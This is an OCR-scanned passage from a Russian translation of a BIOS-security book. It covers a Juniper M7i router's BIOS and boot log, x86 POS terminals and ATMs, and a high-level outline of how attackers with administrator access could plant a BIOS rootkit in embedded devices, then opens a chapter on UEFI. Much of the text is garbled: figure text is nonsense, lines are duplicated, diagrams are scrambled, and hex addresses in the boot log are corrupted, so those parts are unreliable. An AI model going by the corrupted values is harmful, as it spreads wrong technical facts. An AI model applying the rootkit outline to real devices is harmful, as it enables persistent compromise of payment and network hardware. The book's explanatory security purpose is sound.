Рис. 14.10. Установка конфигурации жесткого диска Juniper M7i (предоставлено Рендо Ария Вибава (Rendo Ariya Wibawa), http://rendo.info/?p=25; воспроизведено с разрешения)
Рис. 14.10. Установка конфигурации жесткого диска Juniper M7i (предоставлено Рендо Ария Вибава (Rendo Ariya Wibawa), http://rendo.info/?p=25; воспроизведено с разрешения)
BIOS Version 1.8
BIOS FEATURES SET’.^fiMARB SOFTWARE, INC. (2A69TU005.eiiitliiifiiiiiiitiiiifittiif^imiiiiiifiitiittf$Xiiiiiiiiiiiiiii«lti^:iiiliii?
BIOS Version 1.8
BIOS FEATURES SET’.^fiMARB SOFTWARE, INC. (2A69TU005.eiiitliiifiiiiiiitiiiifittiif^imiiiiiifiitiittf$Xiiiiiiiiiiiiiii«lti^:iiiliii?
4 Virus Wimir?
C ui el Post
Quit* Power Oh SelF Test
Full Doreen JCSd Show
4 Virus Wimir?
C ui el Post
Quit* Power Oh SelF Test
Full Doreen JCSd Show
Disabled * E tabled ' Enabled Disabled
Disabled * E tabled ' Enabled Disabled
Boot Option
Boot : p erce
Boot Option
Boot : p erce
Juniper
CF HI
Juniper
CF HI
Verbose ‘.oo’ Hext boot Uuyice patented eeeory t=
Verbose ‘.oo’ Hext boot Uuyice patented eeeory t=
Enabled PMC
Enabled PMC
; Di «bled
; Di «bled
- Swap Floppy Drive
4 Bdpt Up Flippy Е^.
4 Hird Dx 3k Write P oteet
4 HDD S.M.A.R.T. capability
4 Delay For HDD (Seer'
- Swap Floppy Drive
4 Bdpt Up Flippy Е^.
4 Hird Dx 3k Write P oteet
4 HDD S.M.A.R.T. capability
4 Delay For HDD (Seer'
Disabled *
Disabled ’
Disabled *
Disabled ’
OS Select №AM ' 64 IB G«te A20 Option Sepirtf-y Option
Biot Up tk*iLock Status Typpeatic Rate Setting Typeestic Rate (CharsA Type»otic Balay tMsyst
OS Select №AM ' 64 IB G«te A20 Option Sepirtf-y Option
Biot Up tk*iLock Status Typpeatic Rate Setting Typeestic Rate (CharsA Type»otic Balay tMsyst
Hon-OS2 Fast Setup
Hon-OS2 Fast Setup
(HF Enabled
30
250
(HF Enabled
30
250
*«•»« VT10O Setting «***»
Cc«port - 1Speed 10
Parity : None Data : В stop
*«•»« VT10O Setting «***»
Cc«port - 1Speed 10
Parity : None Data : В stop
Disabled А* нА
Disabled А* нА
En Wil 1 ESL
En Wil 1 ESL
0
0
* FL
* FL
: Q nt
: нцр
• Old Values
: Q nt
: нцр
• Old Values
«
«
-'W ,.1 HSSSKV
; Select Ite* 2 FU/FD/V- : Modify • (Shift'" : Colp’ 2
-'W ,.1 HSSSKV
; Select Ite* 2 FU/FD/V- : Modify • (Shift'" : Colp’ 2
4’ F8 : Load BIOS to Fault*
;F7 : Load Setu> Defaults ,
"TiiixiiiittiiiiiiitiTiiiititnttiixiiztiifxixitztirtiiiititfttxiiiiliiuftiiti'i
4’ F8 : Load BIOS to Fault*
;F7 : Load Setu> Defaults ,
"TiiixiiiittiiiiiiitiTiiiititnttiixiiztiifxixitztirtiiiititfttxiiiiliiuftiiti'i
Рис. 14.11. Установка конфигурации загрузки Juniper M7i(предоставлено Рендо Ария Вибава (Rendo Ariya Wibawa),http://rendo.info/?p=25; воспроизведено с разрешения)
На основании рис. 14.10 и 14.11 видно, что номер выпуска этой BIOS — 2A69TU00. Выполнив поиск Award BIOS с этим номером выпуска в Интернете, вы обнаружите, что она используется с материнской платой Asus TUSL2C. Данная материнская плата основана на чипсете Intel 815ЕР. Но в журнале регистрации процесса загрузки маршрутизатора Juniper M7i (листинг 14.4) указано, что его материнская плата основана на чипсете Intel 440ВХ.
Листинг 14.4. Журнал регистрации процесса загрузки маршрутизатора Juniper M7i (предоставлено Рендо Ария Вибава (Rendo Ariya Wibawa), http://rendo.info/7p-25; воспроизведено с разрешения)
Will try to boot from :
// Пытаемся загрузится с:
CompactFlash
И Флэш-диск CompactFlash
Primary IDE Hard Disk
// Основной жесткий диск
Boot Sequence is reset due to a PowerUp
// Загрузочная последовательность сброшена приложением питания.
Trying to Boot from CompactFlash
// Пытаемся загрузиться с флэш-диска CompactFlash
Trying to Boot from Primary IDE Hard Disk
// Пытаемся загрузиться с основного жесткого диска IDE
Console: serial port
// Консоль: последовательный порт
BIOS drive A: is diskO
// Привод A: BIOS - diskO
BIOS drive C: is diskl
// Привод C: BI, OS - diskl.
BIOS 639 KB/523264 KB available memory
// Размер BIOS — 639 Кбайт/Доступно памяти - 523264 Кбайт
FreeBSD/i386 bootstrap loader, Revision 0.8
H FreeBSD/Загрузчик - i386, Версия 0.8
(builder@jormungand.jxmiper.net, Tue Apr 27 03:10:29 GMT 2004)
Loading /boot/defaults/loader.conf
/kernel text=0x495836 data=0x2bb24+0x473c0 syms=[0x4+0x3fea0+0x4+0x4b5ed]
Loader Quick Help // Краткая справка по загрузке
The boot order is PCMCIA or floppy -> Flash -> Disk -> Lan -> back to PCMCIA or floppy. Typing reboot from the command prompt will cycle through the boot devices. On some models, you can set the next boot device using the nextboot command: nextboot coinpactflash : disk
For more information, use the help command: help <topic> <subtopic> Hit [Enter] to boot immediately, or space bar for command prompt. // Порядок применения загрузочных устройств следующий: PCMCIA или // гибкий диск -> флэш-диск -> Сеть -> опять PCMCIA или гибкий диск. // Загрузочные устройства перебираются вводом команды "reboot" в // командной строке. На некоторых моделях следующее загрузочное // устройство можно установить с помощью команды "nextboot" следующим // образом — nextboot : диск. Более подробную информацию можно // получить с помощью команды "help" - help <тема> <подтема>. // Нажмите клавишу [Ввод], чтобы загрузиться сейчас, или клавишу // пробела, чтобы возвратиться в командную строку.
Boot ing [ kernel ] ...
// Загружаем [ядро]...
Copyright (с) 1996-2001, Juniper Networks, Inc.
All rights reserved.
Copyright (c) 1992-2001 The FreeBSD Project.
Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. Ml rights reserved.
JUNOS 6.3R1.3 #0: 2004-04-27 03:22:47 UTC
bui1der@jormungand.juniper.net:/bui1d/jormungand-c/6.3RI.3/obj- i386/sys/conpile/JUNIPER
Timecounter "i8254" frequency 1193182 Hz
Timecounter "TSC" frequency 397948860 Hz
CPU: Pentium Ill/Pentium III Xeon/Celeron (397.95-MHz 686-class CPU)
Origin = "Genuinelntel" Id = 0x68a Stepping = 10
Features=0 x3 83f 9 ff<FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,SEP,MTRR,
PGE,MCA,CMOV,PAT,PSE36,MMX,FXSR,SSE> real memory = 536870912 (524288K bytes)
sioO: gdb debugging port
avail memory = 515411968 (503332K bytes) Preloaded elf kernel "kernel" at 0xc0696000. DEVFS: ready for devices
Pentium Pro MTRR support enabled H Включена поддержка Pentium Pro MTRR mdO: Malloc disk
DRAM Data Integrity Mode: ECC Mode with h/w scrubbing
// Режим целостности данных DRAM: Режим ECC с аппаратной чисткой. npxO: <math processor> on motherboard
npxO: INT 16 interface
pcibO: <Intel 82443BX host to PCI bridge (AGP disabled)> on motherboard pciO: <PCI bus> on pcibO
isabO: <Intel 82371АВ PCI to ISA bridge» at device 7.0 on pciO
isaO: <ISA bus» on isabO
atapciO: <Intel PIIX4 ATA33 controller» port OxfOOO-OxfOOf at device 7.1 on pciO
ataO: at 0x1f0 irq 14 on atapciO
pciO: <Intel 82371AB/EB (PIIX4) USB controller» at 7.2 irq 11
smbO: <Intel 82371AB SMB controller port 0x5000-0x500f at device 7.3 on
pciO
chipl: <PCI to CardBus bridge (vendor=104c device=ac55)> mem 0xe6045000-0xe6045fff irq 15 at device 13.0 on pciO
chip2: <PCI to CardBus bridge (vendor=104c device=ac55)> mem 0xe6040000-0xe6040fff irq 9 at device 13.1 on pciO
fxpO: <Intel Embedded 10/100 Ethernet» port 0xdc00-0xdc3f mem 0xe6020000- 0xe603ffff,0xe6044000-0xe6044fff irq 9 at device 16.0 on pciO
fxpl: <Intel Embedded 10/100 Ethernet» port 0xe000-0xe03f mem ОхебОООООО- 0xe601ffff,0xe6047000-0xe6047fff irq 10 at device 19.0 on pciO
ata2 at port 0x170-0x177,0x376 irq 15 on isaO
atkbdcO: <Keyboard controller (18042)> at port 0x60,0x64 on isaO
vgaO: <Generic ISA VGA» at port 0x3b0-0x3bb iomem 0xb0000-0xb7fff on isaO
scO: <System console» at flags 0x100 on isaO
scO: MDA <16 virtual consoles, flags=0xl00>
pcicO: <VLSI 82С146» at port ОхЗеО iomem OxdOOOO irq 10 on isaO
pcicO: management irq 11
pcicO: Polling mode
pccardO: <PC Card bus--legacy version» on pcicO
pccardl: <PC Card bus—legacy version» on pcicO
sioO at port 0x3f8-0x3ff irq 4 flags 0x90 on isaO (irrelevant boot log removed)...
// Часть журнала опущена, как не являющейся необходимой // для понимания рассматриваемого процесса.
Обратите внимание на следующие строки в листинге 14.4:
pcibO: <Intel 82443ВХ host to PCI bridge (AGP disabled)» on motherboard
pciO: <PCI bus» on pcibO
isabO: <Intel 82371AB PCI to ISA bridge» at device 7.0 on pciO
На основании содержащейся в них информации можно с уверенностью заключить, что материнская плата маршрутизатора Juniper M7i основана на чипсете Intel 440ВХ. Это вызывает вполне логичный вопрос: какой чипсет используется в действительности — соответствующий номеру выпуска BIOS или же указанный в журнале регистрации процесса загрузки? Я полагаю, что реально использующийся чипсет указан в журнале регистрации процесса загрузки. Компания Juniper Networks достаточно крупна и могла позволить себе заказать у Award специализированную BIOS для Juniper M7L Хотя мар-
шрутизатор Juniper M7i основан на платформе х86, что делает его во многом подобным настольным компьютерам или серверам, компания Award, вероятнее всего, применила для него другую схему номеров выпуска BIOS.
На основании предоставленной информации можно сделать вывод о том, что существует возможность инфицирования маршрутизатора Juniper M7i руткитом BIOS. Но так как интерфейс API этого маршрутизатора не является общедоступным, задача инфицирования рабочего маршрутизатора руткитом BIOS сопряжена с серьезными трудностями. Для этого необходимо будет дизассемблировать операционную систему маршрутизатора — JunOS, чтобы определить, как работает ее API. Только после этого можно будет пытаться получить доступ к аппаратной части работающего маршрутизатора.
Некоторые маршрутизаторы и аппаратные сетевые экраны (например, сетевые экраны серии Cisco PIX) производства Cisco Systems также основаны на встроенных системах х86. Существует и множество других сетевых устройств, основанных на встроенных системах х86. Базовая архитектура этих систем подобна архитектуре, показанной на рис. 14.3. В большинстве этих систем применяются специализированные BIOS, возможно модифицированные версии BIOS обычных настольных систем или серверов.
Киоск
В этом подразделе будет рассмотрен типичный пример реализации киоска на базе встроенной системы х86. В данном контексте термин "киоск" означает компьютеризованное устройство для регистрации продаж при их осуществлении или непосредственного предоставления других услуг. Для краткости, в дальнейшем будем называть такие устройства терминалами POS (point-of- sale или point-of-service). К устройствам POS относятся банковские автоматы (ATM) и кассовые аппараты. В последнее время, все возрастающее количество устройств POS основаны на системах х86, так как по сравнению с другими платформами они обеспечивают лучшее соотношение между стоимостью и техническими характеристиками.
Подробного анализа устройств POS я не привожу. Однако необходимо привести минимально необходимую информацию об основном блоке системы — одноплатном компьютере (single-board computer, SBC) и дать краткое описание его операционной системы. Типичная архитектура устройства POS показана на рис. 14.12.
Одноплатный компьютер является центральным узлом устройства POS, так как все прочие компоненты системы зависят от него. Многие современные одноплатные компьютеры устройств POS основаны на архитектуре х86. Одним из таких одноплатных компьютеров является Advantech РСМ-5822.
Устройство POS
Операционная система
Аппаратные средства
Одноплатный компьютер (SBC)
о Материнская плата с интегрированными контроллером дисплея, аудиоконтроллером, микропроцессором, контроллером Ethernet, устройством чтения носителей CompactFlash, поддержкой интерфейса IDE и т. д.
о RAM (в большинстве случаев впаянная в материнскую плату)
НакопителиCompactFlash, жесткий диск ит. д.НакопителиCompactFlash, жесткий диск ит. д.ДисплейМонитор ЭЛТ или ЖК, сенсорная панель и т. д.ДисплейМонитор ЭЛТ или ЖК, сенсорная панель и т. д.Устройство ввода Специальная клавиатура, сенсорный экран и.Т.д.Устройство ввода Специальная клавиатура, сенсорный экран и.Т.д.Устройство вывода Дисплей или иное устройство в зависимости от задачиУстройство вывода Дисплей или иное устройство в зависимости от задачи
Накопители
CompactFlash, жесткий диск ит. д.
Накопители
CompactFlash, жесткий диск ит. д.
Дисплей
Монитор ЭЛТ или ЖК, сенсорная панель и т. д.
Дисплей
Монитор ЭЛТ или ЖК, сенсорная панель и т. д.
Устройство ввода Специальная клавиатура, сенсорный экран и.Т.д.
Устройство ввода Специальная клавиатура, сенсорный экран и.Т.д.
Устройство вывода Дисплей или иное устройство в зависимости от задачи
Устройство вывода Дисплей или иное устройство в зависимости от задачи
Рис. 14.12. Типичная архитектура устройства POS
Подробную информацию об этом компьютере можно найти на сайте его производителя, по адресу:
http://www.advantech.com/products/Model_Detail.asp?model_id=l-lTGZM2.
В компьютере используются процессоры Geode GX1 или Geode GXLV-200 компании AMD. Это семейство процессоров разработано компанией AMD специально для встроенных решений. Технические спецификации процессоров семейства AMD Geode GX можно скачать по адресу:
http://www.amd.com/us-en/ConnectivitySolutions/ProductInformation/ 0„50_2330_9863_9919,OO.html.
В компьютере применяется специализированный чипсет СХ5530. разработанный для семейства процессоров AMD Geode GX.
Компьютер Advantech РСМ-5822 поставляется с установленной BIOS, основанной на Award BIOS версии 4.50PG. Эта BIOS во многом подобна стандартной Award BIOS версии 4.50, которой оснащались настольные компьютеры, выпускаемые в период приблизительно с 1998 по 2000 гг. Скачать ее можно по адресу:
http://www.advantech.com/support/detail_list.asp?model_id=PCM-5822.
Так как эта BIOS основана на стандартной Award BIOS 4.50, инструменты для ее модифицирования общедоступны, что значительно облегчает задачу по ее модификации.
Но это же обстоятельство также делает эту BIOS уязвимой к атаке внедрения кода. Некоторые поставщики устройств POS модифицируют BIOS под конкретное устройство. Но так как в большинстве случаев такие модификации в основном направлены на сокращение времени загрузки (удаляются некоторые проверки POST, сжимается или совсем удаляется логотип, выводимый во время загрузки, и, возможно, жестко прошиваются некоторые конфигурационные установки), BIOS остается уязвимой.
Совершить атаку на устройство POS, основанное на этом компьютере, трудно, так как он работает под специализированной встроенной операционной системой, например Windows СЕ или встроенной версией Linux. Тем не менее, опытный системный программист может без труда разобраться с интерфейсом API таких систем, так как они являются прямыми наследниками обычных операционных систем для настольных компьютеров или серверов. Поставщики устройств POS отдают предпочтение Windows СЕ или версиям Linux для встроенных устройств, так как это сокращает время разработки, обеспечивает многосторонние функциональные возможности и позволяет добиться высокой экономической эффективности. В большинстве случаев определить операционную систему нормально работающего устройства POS невозможно. Но когда устройство выходит из строя и выводит сообщения об ошибках, определить его операционную систему не составит большого труда. В обычных же условиях о версии операционной системы исправного устройства POS можно лишь строить предположения на основании номера какой-либо части или другой информации поставщика. Я смог определить операционную систему банковского автомата одного из банков по специфическому сообщению об ошибке. Это был вариант для встроенных систем пресловутого синего экрана смерти (BSOD — blue screen of death) Windows для настольных платформ. По этому сообщению я определил, что в данном банковском автомате применяется встроенная версия Windows ХР.
Взлом BIOS встроенных систем х86
Как уже говорилось (см. разд. 14.2.3}, в некоторых встроенных системах х86 применяется специализированная версия Award BIOS. Такая же ситуация наблюдается и с BIOS для встроенных систем других поставщиков. Поэтому
если в версии BIOS для настольных систем имеется уязвимость, то она, скорее всего, будет перенесена и в версию BIOS для встроенных систем. В этом разделе дается краткий обзор возможного способа взлома BIOS для встроенных систем х86.
Как уже упоминалось, на встроенных системах х86 в основном применяются специализированные операционные системы, такие как Windows СЕ, Windows ХР для встроенных систем или Linux для встроенных систем. Допустим, что злоумышленники получили привилегии администратора на встроенном компьютере. Каким образом они могут установить на него свое программное обеспечение? Если целью их атаки является BIOS, то необходимо изучить архитектуру операционной системы и ее API, что позволит программным путем получить доступ к чипу BIOS. На рис. 14.13 показана последовательность шагов, которые необходимо выполнить, чтобы получить доступ к BIOS встроенной х86-системы.
। Взлом встроенного устройства х86 i (получение привилегий администратора, | если такая учетная запись существует)। Взлом встроенного устройства х86 i (получение привилегий администратора, | если такая учетная запись существует)| Поиск документации по API операционной i системы, использующейся данным |I встроенным устройством х86'| Поиск документации по API операционной i системы, использующейся данным |I встроенным устройством х86'Лоиск метода, позволяющего программнымЛоиск метода, позволяющего программным। путем получить доступ к устройствам • i ввода/вывода, отображаемым на память. ! i Использование информации об API и : I результатов исследований для ■ ; разработки руткита BIOS। путем получить доступ к устройствам • i ввода/вывода, отображаемым на память. ! i Использование информации об API и : I результатов исследований для ■ ; разработки руткита BIOSВнедрение руткита в чип BIOS с помощью ПО, разработанного на предыдущем шагеВнедрение руткита в чип BIOS с помощью ПО, разработанного на предыдущем шагеРис. 14.13. Последовательность операций для получения доступа к чипу BIOS встроенной системы х86Рис. 14.13. Последовательность операций для получения доступа к чипу BIOS встроенной системы х86
। Взлом встроенного устройства х86 i (получение привилегий администратора, | если такая учетная запись существует)
। Взлом встроенного устройства х86 i (получение привилегий администратора, | если такая учетная запись существует)
| Поиск документации по API операционной i системы, использующейся данным |
I встроенным устройством х86'
| Поиск документации по API операционной i системы, использующейся данным |
I встроенным устройством х86'
Лоиск метода, позволяющего программным
Лоиск метода, позволяющего программным
। путем получить доступ к устройствам • i ввода/вывода, отображаемым на память. ! i Использование информации об API и : I результатов исследований для ■ ; разработки руткита BIOS
। путем получить доступ к устройствам • i ввода/вывода, отображаемым на память. ! i Использование информации об API и : I результатов исследований для ■ ; разработки руткита BIOS
Внедрение руткита в чип BIOS с помощью ПО, разработанного на предыдущем шаге
Внедрение руткита в чип BIOS с помощью ПО, разработанного на предыдущем шаге
Рис. 14.13. Последовательность операций для получения доступа к чипу BIOS встроенной системы х86
Рис. 14.13. Последовательность операций для получения доступа к чипу BIOS встроенной системы х86
Получение доступа к чипу BIOS встроенной системы под управлением Windows ХР для встроенных систем не представляет проблем, так как API этой операционной системы хорошо изучен и практически не отличается от API обычной Windows ХР. Пример исходного кода программы, позволяющей получить доступ к BIOS из-под Windows ХР, был представлен в разд. 9.3. К сожалению, у меня не было возможности проверить работоспособность этого кода с Windows ХР для встроенных систем. Тем не менее, я предполагаю, что этот код потребует минимальных изменений для исполнения под Windows ХР для встроенных систем (если потребует их вообще). В отношении Windows СЕ наблюдается иная ситуация, так как API этой операционной системы отличается от API Windows ХР. В действительности API Windows СЕ обладает высокой совместимостью с Windows API для настольных систем, но низкоуровневые интерфейсы API, т. е. интерфейсы API ядра (native API), этих двух версий Windows не совсем одинаковы. Дополнительную информацию о Windows СЕ API можно найти по адресу http://msdn.microsoft.com. Системы под управлением Linux для встроенных систем более уязвимы к взлому, так как исходный код этой операционной системы и некоторая документация на встроенные системы, на которых применяется эта ОС, являются общедоступными. Что касается встроенных систем х86, у которых операционная система является частью BIOS, то для них не существует общедоступной документации, подобной той, что предоставляется MSDN для Windows. Поэтому, перед попыткой взлома таких систем, необходимо дизассемблировать их операционную систему.
Следующей задачей, которую потребуется решить злоумышленникам, является поиск метода внедрения руткита в BIOS встроенной системы х86, избежав при этом вывода из строя самой BIOS. Для встроенных систем х86 с BIOS на базе Award BIOS это не предоставляет практически никаких проблем, так как метод внедрения кода в эту BIOS уже был рассмотрен. Например, BIOS материнской платы Acorp 4865GQET основана на Award BIOS 6.00 PG, внедрение кода в которую является тривиальной задачей. То же самое относится и к BIOS материнской платы Advantech РСМ-5822, так как она основана на Award BIOS 4.50PG. Кроме того, по сравнению с настольными системами, в материнских платах встроенных систем х86 применяются более старые версии BIOS, и эта тенденция устойчива. Для BIOS других производителей общедоступного метода внедрения кода не существует. Тем не менее, данное обстоятельство совсем не означает того, что эти BIOS свободны от уязвимостей, позволяющих злоумышленникам внедрять в них посторонний код. Такая возможность определенно существует, ее нужно лишь хорошо поискать.
Глава 15
j# ^Sample if Hcf gjf i ill #|Пе£1к^ргергЬеев^, [жпйжозЕОг^^ оГч деда^. K4Lia2t^<^t Г^>j# ^Sample if Hcf gjf i ill #|Пе£1к^ргергЬеев^, [жпйжозЕОг^^ оГч деда^. K4Lia2t^<^t Г^>Дальнейшие перспективы
j# ^Sample if Hcf gjf i ill #|Пе£1к^ргергЬеев^, [жпйжозЕОг^^ оГч деда^. K4Lia2t^<^t Г^>
j# ^Sample if Hcf gjf i ill #|Пе£1к^ргергЬеев^, [жпйжозЕОг^^ оГч деда^. K4Lia2t^<^t Г^>
Введение
В этой главе будут рассмотрены основные тенденции развития технологии BIOS, включая вопросы безопасности. Возможно, что к моменту издания этой книги некоторые из рассматриваемых в данной главе технологий BIOS уже достигнут рынка. Тем не менее, маловероятно, что они уже будут широко распространены. Кроме того, будет дан краткий обзор возможных направлений развития технологий BIOS встроенных систем х86.
Будущее технологии BIOS
В этом разделе рассматривается прогресс, достигнутый в развитии технологии BIOS. В первом подразделе излагаются основы интерфейса UEFI (unified extensible firmware interface — унифицированный интерфейс расширяемого микропрограммного обеспечения). Интерфейс UEFI — это спецификация, которой должно соответствовать будущее микропрограммное обеспечение, чтобы быть совместимым с будущей вычислительной "экосистемой" — операционной системой, аппаратными средствами и прочими компонентами системы. Некоторые современные системы придерживаются спецификации EFI (extensible firmware interface — интерфейс расширяемого микропрограммного обеспечения), являющейся предшественницей спецификации UEFI.
Во втором подразделе рассматривается реализация спецификации UEFI конкретными поставщиками и освещается план развития технологии BIOS.
Унифицированный интерфейс расширяемого микропрограммного обеспечения
Спецификация UEFI была разработана с целью замены спецификации EFI версии МО. Она призвана разрешить проблемы масштабирования современных BIOS и их адаптации под современные достижения в настольных, серверных, мобильных и встроенных технологиях. В этом отношении особенно насущной является проблема упрощения разработки и повышения экономической эффективности. На момент написания этой книги последней версией спецификации UEFI являлась версия 2.0, выпущенная 31 января 2006 г. Ее можно скачать по адресу http://www.uefi.org/specs/. Интерфейс UEFI — это интерфейс между операционной системой и микропрограммным обеспечением компьютера, предоставляемый во время его загрузки. Кроме того, если микропрограммное обеспечение предоставляет рабочие сервисы времени исполнения (runtime services), то интерфейс UEFI предоставляется и во время штатной работы операционной системы. Упрощенная диаграмма системы, соответствующей спецификации UEFI, показана на рис. 15.1.
Рис. 15.1. Упрощенная диаграмма расположения UEFI в общесистемной архитектуре
История интерфейса UEFI начинается с разработки компанией Intel интерфейса EFI для своей платформы Intel Itanium. Хотя интерфейс EFI и разрабатывался специально для конкретной платформу, он был задуман как платформенно-
независимый. Благодаря этому он легко адаптируется не только под архитектуру PC, но и под другие процессорные архитектуры. Интерфейс UEFI является последним воплощением спецификации EFI для микропрограммного обеспечения компьютерной платформы. Основной целью спецификации UEFI является определение альтернативной среды загрузки, которая призвана решить некоторые проблемы, присущие системам на основе BIOS. К их числу можно отнести высокую стоимость разработки, а также необходимость внесения сложных модификаций в код BIOS при реализации новых функциональных возможностей или введения инноваций в микропрограммное обеспечение.
Так же как и в случае с другими спецификациями, для понимания работы системы UEFI необходимо в первую очередь добиться понимания ее базовой архитектуры. Диаграмма архитектуры системы, соответствующей требованиям спецификации UEFI, показана на рис. 15.2.
платформы
Рис. 15.2. Архитектура системы, соответствующей требованиям UEFI
В этой диаграмме можно видеть, что запоминающее устройство большой емкости (обозначенное цилиндром) содержит системный раздел UEFI. Этот раздел используется некоторыми двоичными файлами UEFI, включая UEFI- загрузчик операционной системы. Некоторые поставщики микропрограммного обеспечения называют этот раздел невидимым разделом диска (hidden
disk partition, HDP), так как он скрыт от операционной системы и прикладных программ.
Загрузочные сервисы UEFI и рабочие сервисы UEFI времени исполнения располагаются на уровень выше аппаратной части компьютерной платформы. Загрузочные сервисы UEFI — это функции API, предоставляемые микропрограммным обеспечением, отвечающим требованиям спецификации UEFI, при загрузке системы. Эти функции обеспечивают работоспособность компонентов UEFI — загрузчика операционной системы, приложений и драйверов. По завершению процесса загрузки, эти функции становятся недоступными.
Рабочие сервисы UEFI времени исполнения — это функции API, предоставляемые микропрограммным обеспечением, отвечающим требованиям спецификации UEFI как при загрузке системы, так и при ее штатной работе. UEFI- загрузчик ОС загружает код начальной загрузки операционной системы в основную память и передает ему управление.
Другие интерфейсы микропрограммного обеспечения платформы, например, интерфейсы ACPI и SMBIOS, существуют как часть микропрограммного обеспечения, отвечающего требованиям UEFI. Их функциональные возможности остаются прежними. Они просто инкапсулируются микропрограммным обеспечением, отвечающим требованиям спецификации UEFI. Одной из целей разработки интерфейса UEFI является предоставление возможности для эволюции уже установившимся интерфейсам, например, ACPI и SMBIOS. Таким образом, UEFI не призван заменить эти интерфейсы.
Диаграмма стандартного процесса загрузки под управлением микропрограммного обеспечения, отвечающего требованиям UEFI, показана на рис. 15.3.
Как показано на диаграмме загрузочного процесса (рис. 15.3), микропрограммное обеспечение, соответствующее спецификации UEFI, состоит из двух частей — менеджера загрузки UEFI и двоичных модулей UEFI. Менеджер загрузки UEFI выполняет функции, подобные функциям системного модуля BIOS традиционной BIOS. Для двоичных модулей UEFI точных аналогов в традиционной архитектуре BIOS не существует. Двоичные модули UEFI состоят из драйверов UEFI, приложений UEFI, кода загрузки UEFI и необязательного загрузчика дополнительной операционной системы. Драйвер UEFI можно рассматривать как замену традиционной BIOS плат расширения PCI, применяемую для инициализации плат расширения PCI и устройств PCI, встроенных в материнскую плату. Но некоторые UEFI-драйверы функционируют как шинные драйверы, применяемые для инициализации шин системы. В этом отношении они подобны предзагрузочной версии драйверов устройств операционной системы, работающей в штатном режиме. Приложения UEFI — это приложения, исполняемые в предзагрузочной среде
ДрайверUEFIДрайверUEFIПриложениеUEFIПриложениеUEFIКод загрузки [Код загрузки [UEFI ГUEFI ГЗагрузчикОСЗагрузчикОС
ДрайверUEFI
ДрайверUEFI
ПриложениеUEFI
ПриложениеUEFI
Код загрузки [
Код загрузки [
UEFI Г
UEFI Г
ЗагрузчикОС
ЗагрузчикОС
UEFI. К их числу относится, например, загрузчик операционной системы. Загрузочный код UEFI — это код микропрограммного обеспечения, соответствующего стандарту UEFI, который загружает в основную память загрузчик операционной системы и передает ему управление. Загрузчик операционной системы может быть реализован как составляющая двоичных модулей UEFI в качестве дополнительной функциональной возможности. В случае реализации этой дополнительной возможности загрузчик операционной системы должен рассматриваться как приложение UEFI.
Процесс загрузки ОС на платформу, соответствующую спецификации U EF
Инициализация }/ Загрузка образаИнициализация }/ Загрузка образаUEFIUEFIЗагрузка UEFI- загрузчика ОСЗагрузка UEFI- загрузчика ОСЗавершениезагрузочных„сервисов ,Завершениезагрузочных„сервисов ,Инициализация Итерационная загрузка Загрузка поИнициализация Итерационная загрузка Загрузка поУправление передаетсяУправление передаетсястандартногомикропрограммногообеспеченияплатформыстандартногомикропрограммногообеспеченияплатформыдрайверов и приложений упорядоченному загрузчику ОСдрайверов и приложений упорядоченному загрузчику ОСсписку UEFI- загрузчиков ОСсписку UEFI- загрузчиков ОС► Сервисы,г। заданные► Сервисы,г। заданныеUEFI APIUEFI APIМенеджер загрузкиМенеджер загрузки-► Дополнительные возможности-► Дополнительные возможностиДвоичные файлы UEFIДвоичные файлы UEFI
Инициализация }/ Загрузка образа
Инициализация }/ Загрузка образа
UEFI
UEFI
Загрузка UEFI- загрузчика ОС
Загрузка UEFI- загрузчика ОС
Завершениезагрузочных„сервисов ,
Завершениезагрузочных„сервисов ,
Инициализация Итерационная загрузка Загрузка по
Инициализация Итерационная загрузка Загрузка по
Управление передается
Управление передается
стандартногомикропрограммногообеспеченияплатформы
стандартногомикропрограммногообеспеченияплатформы
драйверов и приложений упорядоченному загрузчику ОС
драйверов и приложений упорядоченному загрузчику ОС
списку UEFI- загрузчиков ОС
списку UEFI- загрузчиков ОС
► Сервисы,г। заданные
► Сервисы,г। заданные
UEFI API
UEFI API
Менеджер загрузки
Менеджер загрузки
-► Дополнительные возможности
-► Дополнительные возможности
Двоичные файлы UEFI
Двоичные файлы UEFI
^ UEFI API
Рис. 15.3. Процесс загрузки, осуществляемый микропрограммным обеспечением,отвечающим требованиям спецификации UEFI
Как уже говорилось ранее (см. рис. 15.2), в системе, соответствующей спецификации UEFI, запоминающее устройство большой емкости (являющееся составляющей аппаратной части компьютерной платформы) содержит системный раздел UEFI. Это специальный раздел запоминающего устройства большой емкости, на котором хранятся двоичные модули UEFI, в частности те, которые имеют прямое отношение к ранним этапам работы загрузчика операционной системы (в частности, его загрузке в память).
Кроме того, в этом разделе можно разместить и дополнительные приложения UEFI. Наличие системного раздела UEFI является обязательным для систем стандарта UEFI, так как он используется микропрограммным обеспечением UEFI для загрузки с запоминающего устройства большой емкости.
Как показано на рис. 15.3, одной из задач, выполняемых менеджером загрузки UEFI, является инициализация образов UEFI. Образы UEFI состоят из драйверов UEFI и приложений UEFI. Обратите внимание, что хотя на рис. 15.3 это и не показано явным образом, загрузчик операционной системы также является приложением UEFI. Поэтому это — тоже образ UEFI. В соответствии с определением, данным в спецификации UEFI, образы UEFI принадлежат к классу файлов, которые содержат исполняемый код. Исполняемые файлы образов UEFI имеют формат РЕ32+. Этот формат является производным от формата РЕ (portable executable — переносимый исполняемый) компании Microsoft. Символ "+" означает, что этот формат добавляет к стандартному формату РЕ32 расширение для настройки 64-битных перемещений (64-bit relocation "fix-ups"). Кроме того, исполняемые файлы этого формата используют другую сигнатуру, с тем чтобы их можно было отличить от файлов формата РЕ32.
Рассмотрим, как именно исполняются образы UEFI. Подробное описание среды исполнения образов UEFI предоставлено в спецификации UEFI. Приведем соответствующие фрагменты из этой спецификации.
Фрагменты из спецификации UEFI
Соглашения о вызовах
Если не оговорено иное, все функции, определенные в спецификации UEFI, вызываются с помощью указателей в соответствии с общепринятыми, архитектурно определенными, соглашениями о вызовах, применяющимися в компиляторах С.
Платформы IA-32
Все функции вызываются в соответствии с соглашениями о вызовах языка С. Универсальные регистры еах, есх и edx являются незащищенными (volatile). Все остальные универсальные регистры являются защищенными (non-volatile), и их содержимое сохраняется вызываемой функцией. Кроме того, если в опре-
делении функции особо не оговорено обратное, все другие регистры являются защищенными.
Перед вызовом функции ExitBootServices () операционной системой, загрузочные сервисы микропрограммного обеспечения и его рабочие сервисы времени исполнения работают в следующем режиме процессора:
